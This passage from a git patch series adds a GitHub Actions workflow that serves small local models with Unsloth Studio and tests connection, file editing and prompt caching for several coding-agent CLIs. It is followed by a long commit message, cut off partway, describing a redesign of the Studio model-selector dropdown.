+      - '.github/workflows/local-agent-guides-ci.yml'
+      - '.github/scripts/serve-unsloth-run.sh'
+      - '.github/scripts/assert-prompt-cache.sh'
+      - '.github/scripts/agent-guides-install.sh'
+      - '.github/scripts/agent-guides-drive.sh'
+      - '.github/scripts/ci-connect-prompt.txt'
+      - '.github/scripts/ci-min-system-prompt.txt'
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}
+  cancel-in-progress: true
+
+permissions:
+  contents: read
+
+env:
+  # Determinism precedent (studio-inference-smoke.yml): temp 0 + fixed seed.
+  UNSLOTH_SEED: '3407'
+  # A single invoke must never hang the runner on a headless TTY prompt. With
+  # prefill-shrinking flags (minimal system prompt + restricted tools) a turn on
+  # a 4B model finishes in a couple of minutes on CPU; this also caps how long a
+  # still-large-prompt agent burns before failing. Well under the 6h job cap.
+  AGENT_INVOKE_TIMEOUT: '600'
+
+jobs:
+  # ═════════════════════════════════════════════════════════════════════
+  # Job 1: connection
+  #   Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect,
+  #   install the agent, run `unsloth connect <agent> --no-launch`, execute
+  #   the emitted recipe with a trivial prompt, assert a non-empty reply.
+  #   Runs on PR + weekly + dispatch. Each matrix cell is its own runner so
+  #   it serves exactly one model on its own port.
+  # ═════════════════════════════════════════════════════════════════════
+  connection:
+    name: connection (${{ matrix.agent }})
+    runs-on: ubuntu-latest
+    timeout-minutes: 40
+    strategy:
+      fail-fast: false
+      matrix:
+        agent: [claude, codex, hermes, openclaw, opencode, pi]
+        include:
+          # OpenClaw needs Node 24; everything else is happy on 22.
+          - agent: openclaw
+            node: '24'
+    env:
+      # gemma-4-E4B (128K context, capable enough to drive every agent for a
+      # trivial reply; the 270m model produced empty/failed responses for
+      # codex/openclaw and is below hermes' 64K context floor). Served as a flat
+      # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B).
+      GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
+      GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
+      STUDIO_PORT: '18901'
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - name: Linux deps for llama.cpp prebuilt
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y --no-install-recommends \
+            libcurl4-openssl-dev libssl-dev jq
+
+      - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
+        with:
+          node-version: ${{ matrix.node || '22' }}
+
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+
+      - name: Restore GGUF model file
+        id: cache-gguf
+        uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        continue-on-error: true
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Download GGUF if cache miss
+        id: download-gguf
+        if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
+        env:
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          python -m pip install --upgrade huggingface_hub
+          mkdir -p gguf-cache
+          bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
+
+      - name: Save GGUF model file
+        if: always() && steps.download-gguf.outcome == 'success'
+        uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Install Studio (--local, --no-torch)
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          mkdir -p logs
+          set -o pipefail
+          bash install.sh --local --no-torch 2>&1 | tee logs/install.log
+
+      # ── boot the server under test (factored helper) ──────────────────
+      - name: Serve unsloth run --disable-tools (gemma-4-E4B)
+        run: |
+          unsloth studio reset-password
+          bash .github/scripts/serve-unsloth-run.sh \
+            --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
+            --port "$STUDIO_PORT" --log-dir logs \
+            --extra "--seed $UNSLOTH_SEED --temp 0" \
+            --health-timeout 900
+
+      # ── (a) server/API preflight: prove the dialect works BEFORE the agent ─
+      # Distinct error class. If this step fails it is a SERVER regression,
+      # not the agent's or the guide's fault, and the agent steps never run.
+      - name: Preflight the agent's API dialect (class-a isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: |
+          set -uo pipefail
+          B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY"
+          preflight_fail() {
+            echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect; this is class (a), not guide drift). Endpoint contract lives in studio/backend/routes/**.";
+            exit 1
+          }
+          code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
+            -H "Authorization: Bearer $K") || true
+          [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
+          case "$AGENT" in
+            claude)
+              # Anthropic Messages dialect.
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code"
+              ;;
+            codex)
+              # Codex always streams /v1/responses.
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
+              ;;
+            *)
+              # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
+              # OpenClaw's connect.py recipe writes an "openai-completions"
+              # provider (write_openclaw_config), so it uses this path, not
+              # /v1/messages.
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code"
+              ;;
+          esac
+          echo "preflight OK for $AGENT"
+
+      # ── (b) install the agent CLI (hardened npm/curl, retried) ─────────
+      - name: Install agent CLI (class-b isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: bash .github/scripts/agent-guides-install.sh "$AGENT"
+
+      # ── (c) drive the agent via connect.py and assert a reply ──────────
+      # For the 5 agents with a connect.py recipe we run
+      # `unsloth connect <agent> --no-launch`, eval its env/unset exports,
+      # then run the printed command with a hard timeout (no headless-TTY
+      # hang). Pi has no connect recipe, so it is driven by hand and the
+      # cell asserts that absence is the (known) reason.
+      - name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT"
+
+      - name: Collect server logs (debug)
+        if: always()
+        run: |
+          mkdir -p logs/studio-logs
+          cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
+          # Redact the key across the WHOLE logs/ tree, not just studio-logs:
+          # serve-unsloth-run.sh records the `unsloth run` banner (which prints
+          # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
+          # step publishes all of logs/, so scrubbing only studio-logs would leak
+          # the bearer token in the retained artifact.
+          if [ -n "${UNSLOTH_API_KEY:-}" ]; then
+            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+              sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
+            done
+          fi
+
+      - name: Stop Studio
+        if: always()
+        run: |
+          # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
+          # `kill 0` signal this step's whole process group and abort cleanup.
+          if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
+            kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
+          fi
+          sleep 2
+          ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
+
+      - name: Upload logs
+        if: always()
+        continue-on-error: true
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: connection-${{ matrix.agent }}-log
+          path: |
+            logs/
+            redacted-configs/
+          retention-days: 7
+
+  # ═════════════════════════════════════════════════════════════════════
+  # Job 2: file-edit
+  #   The deterministic 2-turn hello.py test on Qwen3.5-4B (smaller models
+  #   can't reliably drive the heavyweight agents' edit flows). Weekly +
+  #   dispatch only -- it is the slow, model-heavy job and must not gate PRs.
+  # ═════════════════════════════════════════════════════════════════════
+  file-edit:
+    name: file-edit (${{ matrix.agent }})
+    if: github.event_name != 'pull_request'
+    runs-on: ubuntu-latest
+    timeout-minutes: 60
+    # hermes and openclaw drive a multi-turn tool loop that a CPU-only runner
+    # cannot finish in time (e.g. openclaw holds its 300s session-write-lock past
+    # expiry; each turn re-prefills the tool prompt at ~16 tok/s). Their endpoint
+    # wiring + generation are already hard-gated by the connection job, so the
+    # file-edit cell is best-effort here -- it still runs and uploads logs, but a
+    # timeout does not fail the workflow. Drop best_effort (or move e2e to a GPU
+    # runner) to make it blocking again.
+    continue-on-error: ${{ matrix.best_effort || false }}
+    strategy:
+      fail-fast: false
+      matrix:
+        agent: [claude, codex, hermes, openclaw, opencode, pi]
+        include:
+          - agent: openclaw
+            node: '24'
+            best_effort: true
+          - agent: hermes
+            best_effort: true
+    env:
+      # gemma-4-E4B served as a flat GGUF file (cache size tracks the .gguf 1:1,
+      # no xet-chunk inflation; the -MTP- repo ships no separate draft file).
+      GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
+      GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
+      STUDIO_PORT: '18902'
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - name: Linux deps for llama.cpp prebuilt
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y --no-install-recommends \
+            libcurl4-openssl-dev libssl-dev jq
+
+      - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
+        with:
+          node-version: ${{ matrix.node || '22' }}
+
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+
+      - name: Restore GGUF model file
+        id: cache-gguf
+        uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        continue-on-error: true
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Download GGUF if cache miss
+        id: download-gguf
+        if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
+        env:
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          python -m pip install --upgrade huggingface_hub
+          mkdir -p gguf-cache
+          bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
+
+      - name: Save GGUF model file
+        if: always() && steps.download-gguf.outcome == 'success'
+        uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Install Studio (--local, --no-torch)
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          mkdir -p logs
+          set -o pipefail
+          bash install.sh --local --no-torch 2>&1 | tee logs/install.log
+
+      - name: Serve unsloth run --disable-tools (gemma-4-E4B)
+        run: |
+          unsloth studio reset-password
+          bash .github/scripts/serve-unsloth-run.sh \
+            --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
+            --port "$STUDIO_PORT" --log-dir logs \
+            --extra "--seed $UNSLOTH_SEED --temp 0" \
+            --health-timeout 900
+
+      - name: Preflight the agent's API dialect (class-a isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: |
+          set -uo pipefail
+          B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY"
+          preflight_fail() {
+            echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect; this is class (a), not guide drift). Endpoint contract lives in studio/backend/routes/**.";
+            exit 1
+          }
+          code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
+            -H "Authorization: Bearer $K") || true
+          [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
+          # Probe the same dialect the agent will use, so a streaming/messages
+          # regression in the weekly run is reported as class (a) here instead of
+          # surfacing later as guide drift (mirrors the connection job).
+          case "$AGENT" in
+            claude)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code"
+              ;;
+            codex)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
+              ;;
+            *)
+              # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code"
+              ;;
+          esac
+          echo "preflight OK for $AGENT"
+
+      - name: Install agent CLI (class-b isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: bash .github/scripts/agent-guides-install.sh "$AGENT"
+
+      - name: 2-turn hello.py test (class-c isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: bash .github/scripts/agent-guides-drive.sh file-edit "$AGENT"
+
+      - name: Collect server logs (debug)
+        if: always()
+        run: |
+          mkdir -p logs/studio-logs
+          cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
+          # Redact the key across the WHOLE logs/ tree, not just studio-logs:
+          # serve-unsloth-run.sh records the `unsloth run` banner (which prints
+          # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
+          # step publishes all of logs/, so scrubbing only studio-logs would leak
+          # the bearer token in the retained artifact.
+          if [ -n "${UNSLOTH_API_KEY:-}" ]; then
+            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+              sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
+            done
+          fi
+
+      - name: Stop Studio
+        if: always()
+        run: |
+          # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
+          # `kill 0` signal this step's whole process group and abort cleanup.
+          if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
+            kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
+          fi
+          sleep 2
+          ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
+
+      - name: Upload logs
+        if: always()
+        continue-on-error: true
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: file-edit-${{ matrix.agent }}-log
+          path: |
+            logs/
+            agent-workdir/
+            redacted-configs/
+          retention-days: 7
+
+  # ═════════════════════════════════════════════════════════════════════
+  # Job 3: prompt-cache
+  #   (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0
+  #       (server prompt-cache sanity).
+  #   (b) Claude Code attribution A/B: with CLAUDE_CODE_ATTRIBUTION_HEADER=0
+  #       expect a llama-server KV-cache HIT on turn 2; without it expect a
+  #       MISS. If it inverts, the guide flag is stale.
+  #   PR + weekly + dispatch (cheap, gemma-3-270m).
+  # ═════════════════════════════════════════════════════════════════════
+  prompt-cache:
+    name: prompt-cache (gemma-3-270m)
+    runs-on: ubuntu-latest
+    timeout-minutes: 25
+    env:
+      GGUF_REPO: unsloth/gemma-3-270m-it-GGUF
+      GGUF_VARIANT: UD-Q4_K_XL
+      GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf
+      STUDIO_PORT: '18903'
+      HF_HOME: ${{ github.workspace }}/hf-cache
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - name: Linux deps for llama.cpp prebuilt
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y --no-install-recommends \
+            libcurl4-openssl-dev libssl-dev jq
+
+      - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
+        with:
+          node-version: '22'
+
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+
+      - name: Restore HF_HOME for ${{ env.GGUF_REPO }}
+        id: cache-hf
+        uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        continue-on-error: true
+        with:
+          path: hf-cache
+          key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
+
+      - name: Prime HF_HOME with the GGUF
+        id: prime-hf
+        if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
+        env:
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          python -m pip install --upgrade huggingface_hub
+          mkdir -p hf-cache
+          bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE"
+
+      - name: Save HF_HOME for ${{ env.GGUF_REPO }}
+        if: always() && steps.prime-hf.outcome == 'success'
+        uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        with:
+          path: hf-cache
+          key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
+
+      - name: Install Studio (--local, --no-torch)
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          mkdir -p logs
+          set -o pipefail
+          bash install.sh --local --no-torch 2>&1 | tee logs/install.log
+
+      - name: Serve unsloth run --disable-tools (gemma-3-270m)
+        run: |
+          unsloth studio reset-password
+          bash .github/scripts/serve-unsloth-run.sh \
+            --model "$GGUF_REPO" --gguf-variant "$GGUF_VARIANT" \
+            --port "$STUDIO_PORT" --log-dir logs \
+            --extra "--seed $UNSLOTH_SEED --temp 0"
+
+      # (a) server prompt-cache sanity on the OpenAI chat path. The helper runs
+      # the 2-turn probe internally (turn 2 reuses turn 1's prefix) and asserts
+      # turn-2 usage.prompt_tokens_details.cached_tokens > 0. This is the hard
+      # gate -- it proves llama.cpp KV reuse is surfaced on /v1/chat/completions.
+      - name: Server prompt-cache sanity (cached_tokens > 0)
+        run: bash .github/scripts/assert-prompt-cache.sh api "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY"
+
+      - name: Install Claude Code (class-b isolation)
+        env:
+          AGENT: claude
+        run: bash .github/scripts/agent-guides-install.sh claude
+
+      # (b) Claude attribution A/B against the llama-server log. This is the most
+      # environment-sensitive check (it depends on the bundled llama.cpp's
+      # slot-reuse log wording and on claude --continue reusing the prefix), so
+      # it is non-blocking until calibrated on the first scheduled run; the
+      # server cache sanity above is the hard gate. The step still prints the
+      # observed HIT/MISS so drift is visible in the log + artifacts.
+      - name: Claude attribution A/B (HIT with header=0, MISS without)
+        continue-on-error: true
+        run: bash .github/scripts/agent-guides-drive.sh attribution-ab claude
+
+      - name: Collect server logs (debug)
+        if: always()
+        run: |
+          mkdir -p logs/studio-logs
+          cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
+          # Redact the key across the WHOLE logs/ tree, not just studio-logs:
+          # serve-unsloth-run.sh records the `unsloth run` banner (which prints
+          # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
+          # step publishes all of logs/, so scrubbing only studio-logs would leak
+          # the bearer token in the retained artifact.
+          if [ -n "${UNSLOTH_API_KEY:-}" ]; then
+            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+              sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
+            done
+          fi
+
+      - name: Stop Studio
+        if: always()
+        run: |
+          # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
+          # `kill 0` signal this step's whole process group and abort cleanup.
+          if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
+            kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
+          fi
+          sleep 2
+          ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
+
+      - name: Upload logs
+        if: always()
+        continue-on-error: true
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: prompt-cache-log
+          path: |
+            logs/
+            redacted-configs/
+          retention-days: 7

From 44d6727c6559163d6c3fd310701f40a62a666a92 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 22 Jun 2026 04:33:04 -0700
Subject: [PATCH 017/306] Studio: redesign Select model dropdown to match Hub
 design (#6364)

* Studio: redesign Select model dropdown to match Hub design

Make the chat Select model picker easier to scan by reusing the Hub
on-device card's visual language.

- Rows now split owner/name, add a param chip, a DotTag format pill,
  a tabular size, and a Loaded marker on the active model.
- Hub models / Fine-tuned tabs reuse the Hub's exact .hub-tab-toggle
  styling (selectors extended in hub.css to the selector menu).
- Add a Downloaded / Recommended / Custom section toggle on the Hub
  tab to filter the list.
- Widen the popover and nudge the scrollbar toward the edge.

* Studio: move section toggle below search, size tabs to label

Put Downloaded / Recommended / Custom under the search bar in their own
row so Hub models / Fine-tuned no longer wrap. The section toggle uses a
smaller font and sizes each tab to its label instead of equal widths.

* Studio: extract pure row-meta helpers into their own module

Move splitRepoLabel, classifyMetaToken, and parseMetaTokens out of
pickers.tsx into row-meta.ts. No behaviour change; keeps the presentation
logic free of React/DOM deps so it is easy to test in isolation.

* Studio: content-size the source tabs and add section icons

Size the Hub models / Fine-tuned tabs to their labels (with side
padding) like the section toggle, instead of stretching full width. Add
a leading download, star, and folder icon to Downloaded, Recommended,
and Custom.

* Studio: stop source tabs stretching and hide empty Fine-tuned tab

The popover is a flex column, so the fit toggle stretched full width;
add w-fit/self-start so it sizes to its content. Also hide the
Fine-tuned tab when there are no fine-tuned models, defaulting to Hub
models.

* Studio: keep only fine-tuned models in the Fine-tuned tab

Local models (LM Studio, Ollama, custom folders) carry source "local"
and already show in the Hub tab's Downloaded / Custom sections, so
exclude them from the Fine-tuned tab and from its visibility count.
Extract the tab rules into source-tabs.ts.

* Studio: show local providers under Downloaded, Recommended first

Show LM Studio and other local provider models in the Downloaded
section in all modes (was chat-only). Put Recommended first and make it
the default section. Add a little more space below the search bar.

* Studio: make Recommended a sortable live Unsloth listing

Replace the static Recommended list (and its collapse chevron) with a
sort dropdown over Unsloth's own models: Recommended, Trending, Most
likes, Downloads, Recently updated. Recommended shows recently uploaded
GGUF/MLX models that fit the device (hidden if they do not); the other
sorts list all Unsloth models, badged but never hidden. Adds a sort
option to useHfModelSearch and a pure recommended-fit helper.

* Studio: size Recommended models from the repo name when metadata is missing

GGUF and MLX repos rarely expose safetensors metadata, so a large model
with no size could pass the Recommended fit check because unknown size was
treated as fitting. Parse the parameter count from the repo id, including
the Gemma E series, and hide anything we still cannot size.

* Studio: detect model capabilities and family from HF tags

Thread tags and the pipeline tag through the model search results and add a
pure helper that infers vision, reasoning and audio plus the architecture
family, falling back to repo-name keywords when tags are absent.

* Studio: add row details and inline section sorting to Select model

Give each model row more detail and make the Hub sections easier to scan:

- Show vision, reasoning and audio badges plus the architecture family tag
  on each row, alongside the params, format and size.
- Drop the redundant unsloth/ prefix on the Recommended rows.
- Rename the Recommended section tab to Unsloth and enlarge the section tabs.
- Move the sort dropdown inline to the right of the tabs at a fixed width.
- Add Recent, Size and Downloaded sorting to the Downloaded and Custom tabs.
- Remove the header icons, pad the subheadings, and grow the list height.

* Studio: tune the Select model sort dropdown and trim row badges

- Recommended now lists the most recently created Unsloth repos.
- Narrow the sort dropdown, remove its border, and truncate long labels.
- Tighten the gap between the section tab icons and their labels.
- Remove the architecture family tag from rows since it repeats the name.

* Studio: extract the PillTabs toggle into a shared module

Move the segmented pill toggle out of the model selector into its own file so
the Hub picker can reuse it for a format filter without duplicating the markup.

* Studio: fix Recommended infinite scroll and add a format filter

- Re-attach the scroll observer on each loaded page so a filtered Recommended
  list keeps paging until the viewport fills instead of spinning forever with
  nothing new appearing.
- Add an All / GGUF / MLX / Safetensors toggle on the Unsloth listing that
  filters every sort.

* Studio: default Recommended to Trending, rename Downloaded to On Device, and fade the scroll edge

Sort: default the Recommended view to Trending and add a Name option to
the On Device / Custom sort. Recent now orders by last load time while
Downloaded orders by file date, tracked in localStorage (model-usage.ts).

Formats: show the format filter on all three tabs (Unsloth, On Device,
Custom), exclude mobile GGUF builds from Recommended, and flag GGUF rows
that exceed the device with the same OOM badge as safetensors.

Polish: download-icon badge on already-downloaded Recommended rows, the
hugeicons view stroke-rounded vision badge, Search all models placeholder,
matched popover padding, and a top-edge mask fade once the list scrolls.

* Studio: size GGUF repos from gguf metadata so large ones flag OOM

Repos with no <n>B token in the name (Kimi, MiniMax) had no param count
and so never showed an OOM badge. Request the gguf expand field from
Hugging Face and read gguf.total, so those repos get a param chip and an
OOM badge when they exceed the device budget.

Keep the row name full contrast when over budget (the OOM badge already
signals the fit), shorten the format and sort dropdowns, narrow the
popover, and rename Recently updated to Recent and All formats to All.

* Studio: address selector review feedback

Add WAI-ARIA roving tabindex and Arrow Left/Right navigation to the pill
toggle so only the active tab is in the tab order. Keep the chat-only
GGUF/MLX filter for every Recommended sort, not just Recommended, so
chat-only users do not see unrunnable checkpoints under Trending. Feed
both listings' GGUF hints into repo detection so a tag-only GGUF in
Recommended expands variants instead of loading as a checkpoint.

* Studio: scope Select model search per tab and add an MLX tag

Search is now per section. The Unsloth tab searches the Unsloth HF
listing only, On Device filters downloaded and LM Studio models by name,
and Custom filters custom-folder models, each with its own empty state.

MLX repos get an MLX pill mirroring the GGUF tag. Downloaded quants in
the Unsloth and search lists get the same delete action as On Device.

Also: revert the model name to normal weight, narrow the popover to
558px so the format and sort dropdowns sit one gap-2 from the tabs,
tighten the dropdown menus to match the Projects activity Select, and
make the empty On Device state name the active format filter.

* Studio: show local ./models on the On Device tab so they stay selectable

Models under the local models directory (source models_dir) flow in as local
models but were dropped from every list: filtered out of Fine-tuned and never
re-added by the Hub picker, which kept only LM Studio and custom-folder
sources. Capture them in the local refresh and render a Local models group on
the On Device tab, with the same format, search, and chat-only GGUF rules as
the other local groups.

* Studio: add a Hub button beside the Select model search bar

Adds a Hub button next to the search bar that opens the full Hub Discover
page to browse more models. Styled like the section tabs (rounded, no
border, soft shadow with a faint top layer) and darkens on hover. Also
nudges the format and sort dropdown chevrons a touch toward the edge.

* Studio: align Select model padding and tighten the format pills

Sizes the popover to the tab cluster so the left and right padding match,
and drops the top row below the rounded corner so the Hub button lines up
with the Trending dropdown. Gives the Hub button a fixed width, lets the
list scrollbar sit inside the box, and shrinks the format pill dot with a
tighter dot-to-label gap.

* Studio: label the Hub button Search Hub and match the dropdown width

Renames the button to Search Hub, sets its width to the format and sort
dropdown width so it lines up above them, and tightens the icon gap.

* Studio: drop the vision and reasoning row badges to declutter

Removes the vision and reasoning capability icons from the model rows so
they read cleaner. Audio is kept.

* Studio: add a safetensors pill, hide diffusion models, eye on Vision

Gives safetensors rows a format pill and size so their meta matches GGUF
and MLX, drops image and video diffusion models from the listing since they
cannot run in chat, and shows an eye icon next to the Vision tag. Also
removes the em dashes from the Projects export and import labels.

* Studio: gate recommended folders on real weights and polish the selector

Only show a Recommended chip once the well-known dir actually holds
weights, so an empty LM Studio or Ollama scaffold no longer suggests
itself. _dir_has_downloaded_model checks for a GGUF/safetensors file or
a non-empty Ollama manifests store, with a bounded walk.

Selector polish: round the popover and option menus a touch more,
